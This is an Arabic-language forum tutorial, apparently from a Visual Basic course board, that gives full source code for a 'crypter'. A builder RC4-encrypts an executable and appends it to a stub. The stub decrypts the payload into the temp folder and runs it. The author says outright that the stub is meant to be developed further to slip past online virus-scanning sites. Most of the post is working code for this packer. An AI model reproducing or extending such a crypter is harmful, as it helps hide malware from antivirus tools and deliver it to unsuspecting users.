ايجي الوطن العربي
مرحبا بك فى منتديات ايجى الوطن العربي منتديات الحصريا لكل عام
اذا كنت من الاعضاء يرجى تسجيل الدخول
واذا كنت من الزوار يرجى التقدم بتسجيلك فى المنتدى لمعرفة المزيد يرجى التواصل مع ادارة المنتدى
* يرجى ملئ البيانات بطريقة صحيحة *
-- تحت رعاية --
المجك
ايجي الوطن العربي
مرحبا بك فى منتديات ايجى الوطن العربي منتديات الحصريا لكل عام
اذا كنت من الاعضاء يرجى تسجيل الدخول
واذا كنت من الزوار يرجى التقدم بتسجيلك فى المنتدى لمعرفة المزيد يرجى التواصل مع ادارة المنتدى
* يرجى ملئ البيانات بطريقة صحيحة *
-- تحت رعاية --
المجك
ايجي الوطن العربي
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

ايجي الوطن العربي

كل ما تتوقعه تجده عندنا
 
الرئيسيةأحدث الصورالتسجيلدخول

 

  شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

اذهب الى الأسفل 
كاتب الموضوعرسالة
Admin
Admin



المساهمات : 149
تاريخ التسجيل : 15/07/2013

 شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك Empty
مُساهمةموضوع: شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك    شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك Icon_minitimeالأربعاء يوليو 24, 2013 9:41 am

 


السلام عليكم

كيف الحال

مبين من العنوآن

اليوم بشرح لكم طريقه بسيطه لتصميم برنامج تشفير

طبعا بعد ماتصصمونه وتحسون طفشتم منه

تستطيعون انكم تطوورون الستب حق البرنامج

مثل تخطي مواقع الفحص الخ

ماعلينا

الحين بشرح لكم طريقه تصميم برنامج تشفير

وبرنامج راح يعتمد على شيئين

1- برنامج عادي يظهر للمستخدم

2- ستب وهو الى عليه كل كلام التشفير وغير ظاهر للمستخدم

يالله ندخل بالشرح

مختصر بصوره

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

طيب الحين نجي الاكوآد

كـواد البرنامج :_:

في التصريحات العامه (General ) :_:


كود PHP:
الكود:

Option Explicit


الكود:
Const FileSplit = "<%*#%>"


الكود:
Const pw = "DnT%m25@#q&szlig;" 








في زر الاستعراض

Command1

نضع هذا الكود :


كود PHP:


الكود:
    With CommonDialog1 ' انتظار اداه دايلق





الكود:
    .Filter = "Excuteable Files (*exe) | ******" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل





الكود:
    .DialogTitle = "Select a File"





الكود:
    .ShowOpen ' امر الاستعراض وجلب





الكود:
    End With





الكود:
****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست 









النجوم رقم 1 تعني = T e x t

النجوم الثانيه تعني = N A M E

في زر التشفير

Command2

نضع هذا الكود :



كود PHP:


الكود:
Dim sStube As String, sFile As String









الكود:
Open App.Path & "\stube*****" For Binary As #1 ' اسم الستب





الكود:
sStube = Space(LOF(1))





الكود:
Get #1, , sStube





الكود:
Close #1













الكود:
Open ****1.**** For Binary As #1





الكود:
sFile = Space(LOF(1))





الكود:
Get #1, , sFile





الكود:
Close #1









الكود:
Open App.Path & "\s3od*****" For Binary As #1  ' اسم الملف الناتج بعد التشفير





الكود:
Put #1, , sStube & FileSplit & RC4(sFile, pw)





الكود:
Close #1









الكود:
MsgBox "مبــروك تم تشفير الملف بنجآح" 








النجوم تعني = t e x t



في الموديل الى اضنفاه

ModRc4


نضع هذا الكود :_:


كود PHP:


الكود:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String





الكود:
On Error Resume Next





الكود:
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte





الكود:
If Len(Password) = 0 Then





الكود:
    Exit Function





الكود:
End If





الكود:
If Len(Expression) = 0 Then





الكود:
    Exit Function





الكود:
End If





الكود:
If Len(Password) > 256 Then





الكود:
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)





الكود:
Else





الكود:
    Key() = StrConv(Password, vbFromUnicode)





الكود:
End If





الكود:
For X = 0 To 255





الكود:
    RB(X) = X





الكود:
Next X





الكود:
X = 0





الكود:
Y = 0





الكود:
Z = 0





الكود:
For X = 0 To 255





الكود:
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256





الكود:
    Temp = RB(X)





الكود:
    RB(X) = RB(Y)





الكود:
    RB(Y) = Temp





الكود:
Next X





الكود:
X = 0





الكود:
Y = 0





الكود:
Z = 0





الكود:
ByteArray() = StrConv(Expression, vbFromUnicode)





الكود:
For X = 0 To Len(Expression)





الكود:
    Y = (Y + 1) Mod 256





الكود:
    Z = (Z + RB(Y)) Mod 256





الكود:
    Temp = RB(Y)





الكود:
    RB(Y) = RB(Z)





الكود:
    RB(Z) = Temp





الكود:
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))





الكود:
Next X





الكود:
RC4 = StrConv(ByteArray, vbUnicode)





الكود:
End Function 








..........................

بكذا يكون خلصنا من اكوآد البرنامج

نحفظه exe

ونضعه بمجلد الحاله ثم الان نجي لستب

ونضع اكوآده

الموديل الى في الستب

الاول

ModMain

الكود الذي يوضع فيه هو :


كود PHP:


الكود:
Option Explicit





الكود:
Const FileSplit = "<%*#%>"





الكود:
Const pw = "DnT%m25@#qك"





الكود:
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long









الكود:
Public Sub Main()





الكود:
Dim sStub As String, sFile As String









الكود:
Open App.Path & "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي





الكود:
sStub = Space(LOF(1))





الكود:
Get #1, , sStub ' اسم الستب





الكود:
Close #1 ' اغلاق









الكود:
sFile = Split(sStub, FileSplit)(1)









الكود:
Open Environ("tmp") & "decrypted.exe" For Binary As #1





الكود:
Put #1, , RC4(sFile, pw)





الكود:
Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء













الكود:
Call ShellExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه













الكود:
End Sub 








النجوم تعني = N a m e

موديل رقم 2

باسم ModRc4

كود هـو :



كود PHP:


الكود:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String





الكود:
On Error Resume Next





الكود:
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte





الكود:
If Len(Password) = 0 Then





الكود:
    Exit Function





الكود:
End If





الكود:
If Len(Expression) = 0 Then





الكود:
    Exit Function





الكود:
End If





الكود:
If Len(Password) > 256 Then





الكود:
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)





الكود:
Else





الكود:
    Key() = StrConv(Password, vbFromUnicode)





الكود:
End If





الكود:
For X = 0 To 255





الكود:
    RB(X) = X





الكود:
Next X





الكود:
X = 0





الكود:
Y = 0





الكود:
Z = 0





الكود:
For X = 0 To 255





الكود:
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256





الكود:
    Temp = RB(X)





الكود:
    RB(X) = RB(Y)





الكود:
    RB(Y) = Temp





الكود:
Next X





الكود:
X = 0





الكود:
Y = 0





الكود:
Z = 0





الكود:
ByteArray() = StrConv(Expression, vbFromUnicode)





الكود:
For X = 0 To Len(Expression)





الكود:
    Y = (Y + 1) Mod 256





الكود:
    Z = (Z + RB(Y)) Mod 256





الكود:
    Temp = RB(Y)





الكود:
    RB(Y) = RB(Z)





الكود:
    RB(Z) = Temp





الكود:
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))





الكود:
Next X





الكود:
RC4 = StrConv(ByteArray, vbUnicode)





الكود:
End Function 








طيب الحين نحفظ الستب

باسم

Stube

ونحطه جنب البرنامج الى حفظناه ونستمتع بالتشفيره والبرمجه


تستطيع انك تبدل اسم الستب للي تحب عادي في الاكوآد حقت البرنامج

على شان محد يقول سعود قصر

ارفقت لكم في مجلد الصور + الاكوآد + السورس الى تم تطبيق عليه الشرح

على شان لما تخطئون تعرفون اخطأكم وين

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]


وان شاء الله اكون سويت لكم فائده

وتقدرون تطوروون الستب حق برنامجكم لانه هو اهم شي لما تطورونه راح تطوروون الملف الناتج

اهداء للجميع

على رئسهم الزعلان هكرزي  شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك Lol

بالتوفيق

 
الرجوع الى أعلى الصفحة اذهب الى الأسفل
https://emadtoemadto.yoo7.com
 
شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
»  لتعريب البرنامج [ الفجوال بيسك Visual Basic ]
»  ][ قوانين قسم الفيجوال بيسك : مهم جداً قبل كتابة اي موضوع ][
» ][ شرح فيديو برمجة برنامج دمج بالفيجوال بيسك ][ شرحي الخاص
»  وصل : كتاب حتراف فيجوال بيسك 8
» بعض الاسسيات ليفجوال بيسك مع التنزيل مهم

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
ايجي الوطن العربي  :: [ دورات الـمنتدى ] :: دورة [ الفجوال بيسك Visual Basic ]-
انتقل الى: